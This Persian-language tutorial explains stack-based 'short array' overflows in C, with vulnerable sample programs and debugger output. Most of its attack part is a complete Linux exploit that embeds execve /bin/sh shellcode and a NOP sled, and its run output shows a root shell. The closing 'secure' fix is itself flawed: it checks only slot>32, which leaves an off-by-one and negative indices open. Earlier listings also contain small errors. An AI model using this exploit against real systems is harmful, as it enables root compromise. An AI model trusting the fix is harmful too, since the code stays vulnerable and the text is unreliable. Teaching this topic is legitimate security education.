|
سريز در آرايه هاي عددي
    -(9 Body)
|
سريز در آرايه هاي عددي
Visitor
296
Category:
دنياي فن آوري
يكي از معروفترين و شايد پرطرفدارترين آسيب پذيريهايي كه تا كنون مورد استفاده قرار گرفته Stack-Based Overflow (سريزبافر بر پايه پشته ) ميباشد كه زير شاخه ي Buffer Overflow است. آسيب پذيري Stack overflow را مي توان به چند دسته تقسيم كرد، مانند : Functions Overflow* Integer Overflow Short Array Overflow *همان Functionهايي است كه در Source Code استفاده مي شود و مي توان بوسيله ي آن برنامه را دچار Stack Overflow كرد. مانند : gets() sprintf() strcat() strcpy() streadd() strecpy() strtrns() index() fscanf() scanf() sscanf() vsprintf() realpath() getopt() getpass() |
شايد در مورد موارد بالا مقاله ها و مطالب زيادي خوانده باشيد، ولي درمورد Short Array Overflow مقالات كمي به زبان فارسي وجود دارد. به همين جهت به نوشتن چنين مقاله اي هرچند كوتاه پرداختم. Short Array Overflow : همين طور كه اشاره شد اين آسيب پذيري از زير شاخه هاي Stack-Based هست و نام آن نشان ميدهد كه در چه رابطه اي ميتواند باشد. وقتي در برنامه اي يك Array تعريف مي شود و براي آن مقدار تعيين مي گردد، در صورت اينكه كاربر بتواند در آن دست ببرد، مي توان برنامه را دچار Short Array Overflow كرد. با مثال زير بهتر درك خواهيد كرد :
---- Vuln-Array.c ----
#include <stdio.h>
int main(int argc, char *argv[]){ int array[10]; printf(“Please Enter your Array value : “); gets(array); printf(“Your Vaule: %d, array); return 0; }
---- Vuln-Array.c ---- |
در خط هاي اول: برنامه يك Array به اسم Array كه مقدار 32 برايش تعيين شده تعريف كرده است. در خط هاي بعدي: برنامه از كاربر مقدار Array را درخواست مي كند. حالا كد هاي خودمان را Compile كرده و برنامه را اجرا مي كنيم :
D:\>lc –g2 vuln-array.c –o vuln-array.exe –s D:\>vuln-array.exe Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10 Your Value: 1244996 D:\>
|
تا به اينجا همه چيز عادي بنظر مي رسد، حالا بيايد تعداد اعداد را از 10 به 17 برسانيم :
D:\>vuln-array.exe Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 Your Value: 1244996 abnormal program termination ------- AppName: Vuln-array.exe AppVer: 0.0.0.0 ModName: Vuln-array.exe ModVer: 0.0.0.0 Offset: 00001289 |
خوب! ميبينيد كه به راحتي overflow شد... اگر يك Penetration tester هستيد و با disassemblying آشنا هستيد بايد بگم كه در كد زير overflow ايجاد مي شود :
ADD ESP,18 XOR ECX,ECX MOV DWORD PTR SS:[EBP-4],ECX
|
اينجاست كه Array تعريف مي شود و مقدار 10 (در كد) به آن اختصاص داده مي شود...
PUSH EDI PUSH a.004090A2 ; /Arg1 = 004090A2 ASCII "Please Enter your Array: " CALL a.00406D51 ; \a.00406D51 ADD ESP,4 LEA EDI,DWORD PTR SS:[EBP-28] PUSH EDI ; /s CALL <JMP.&CRTDLL.gets> ; \gets
|
در اين قسمت هم مقدار Array از كاربر دريافت مي شود بدون هيچ فيلتر كردن و يا چيز ديگري !! (كد هاي بالا از برنامه ي OllyDBG استخراج شده، هرچند كه IDA براي اين كارها مناسب تر است) Exploitation : همين طور كه مشاهده كرديد برنامه ي ما Overflow شد. حالا كدهاي برنامه رو تغيير مي دهيم :
---- int_array.c ----
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
void place_int_array(unsigned int slot,int value){ int array[32]; array[slot]=value; /* the overwrite itself. */ printf("filled slot %u with %d.\n",slot,value); return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } ---- int_array.c ---- |
حالا در لينوكس امتحان مي كنيم :
$ [root@localhost /root]# gcc int_array.c -o int_array $ [root@localhost /root]# ./int_array 33 65535 $ filled slot 33 with 65535. $ [root@localhost /root]# ./int_array 34 65535 $ filled slot 34 with 65535. $ [root@localhost /root]# ./int_array 35 65535 $ filled slot 35 with 65535. $ Segmentation fault (core dumped)
و ازGdb برايdubug كردنcore برنامه استفاده مي كنيم:
$ [root@localhost /root]# gdb -c core $ GNU gdb 5.0rh-5 Red Hat Linux 7.1 $ ... $ This GDB was configured as "i386-redhat-linux". $ Core was generated by `./int_array 35 65535'. $ Program terminated with signal 11, Segmentation fault. $ #0 0x0000ffff in ?? () $ (gdb) |
در اينجا 0x0000ffff همان عدد 65535 است.خوب كنترل EIP در دست ماست و مي توانيم shellcodeهاي خودمون را اجرا كنيم. حالا به exploit زير دقت كنيد :
---- expl_int_array.c ----
/* expl_int_array.c: int_array.c exploit. */ /* syntax: ./expl_int_array [0x????????] [#] */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
/* path to the buggy program. (int_array) */
#define PATH "./int_array"
/* size of shellcode buffer. */
#define ENV_SIZE 4096
/* x86/linux shellcode, written by aleph1. */
static char x86_exec[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68";
int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret;
/* take address given, to be converted to a */ /* numeric value. */
if(argc>2) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????] [#]\n",argv[0]); exit(0); }
/* compensation: */ /* anything above 0x7fffffff will need to be */ /* passed as a negative value. subtract */ /* 0xffffffff in that case. it will loop */ /* over into the desired value. */
if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff-1); else sprintf(n_to_s,"%u",ret);
/* put the nops+shellcode in the environment. */
if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0); memset(buf,0x90,(ENV_SIZE-strlen(x86_exec))); memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("EXEC",buf,1); free(buf)
/* some verbose display, informing! */
printf("* return address: 0x%x\n",ret); printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s);
/* exploit it. */
execl(PATH,PATH,argv[2],n_to_s,0);
/* should not make it here, execution failed. */
exit(0); } //Exploit by : FakeHal0 ---- expl_int_array.c ---- |
حالا اكسپلويت را اجرا مي كنيم :
$ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array $ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745920 $ $ filled slot 35 with -1073745920. $ sh-2.04# |
بسيار عالي ! shellcode به خوبي اجرا شد و توانستيم دسترسي root را بگيريم... (اميدوارم با كدهاي اكسپلويت مشكلي نداشته باشيد، مقدار كمي در خود كدها توضيح داده شده. روش اكسپلويت كردن Short Array Overflow تقريبا همانند Functions Overflow هستش...) ايمن كردن برنامه : بايد گفت كه ايمن ساختن اين برنامه ها كار سختي نيست و فقط با اضافه كردن يك تگ(tag) شرطي به راحتي جلوي Overflow شدن Array را مي توان گرفت و ورودي هاي كاربر را filter كرد به كد ايمن شده ي زير دقت كنيد :
----- int_array.c (Secure) ----
/* int_array.c: a buggy test program. */ /* syntax: ./int_array [slot] [value] */
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
void place_int_array(int slot,int value){ int array[32]; if(slot>32) printf("slot is greater than 32, out of bounds.\n"); else{ array[slot]=value; /* the overwrite itself. */ printf("filled slot %d with %d.\n",slot,value); }
return;
} int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); }
---- int_array.c (Secure) ---- |
و حالا برنامه را اجرا كرده و آزمايشات قبلي را دوباره تست مي كنيم :
$ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745919 $ $ slot is greater than 32, out of bounds. |
اكسپلويت ما كار نكرد، كه نشانه از آن است كه برنامه ايمن شده است. منبع:www.bugtrag.ir/س
|
|
|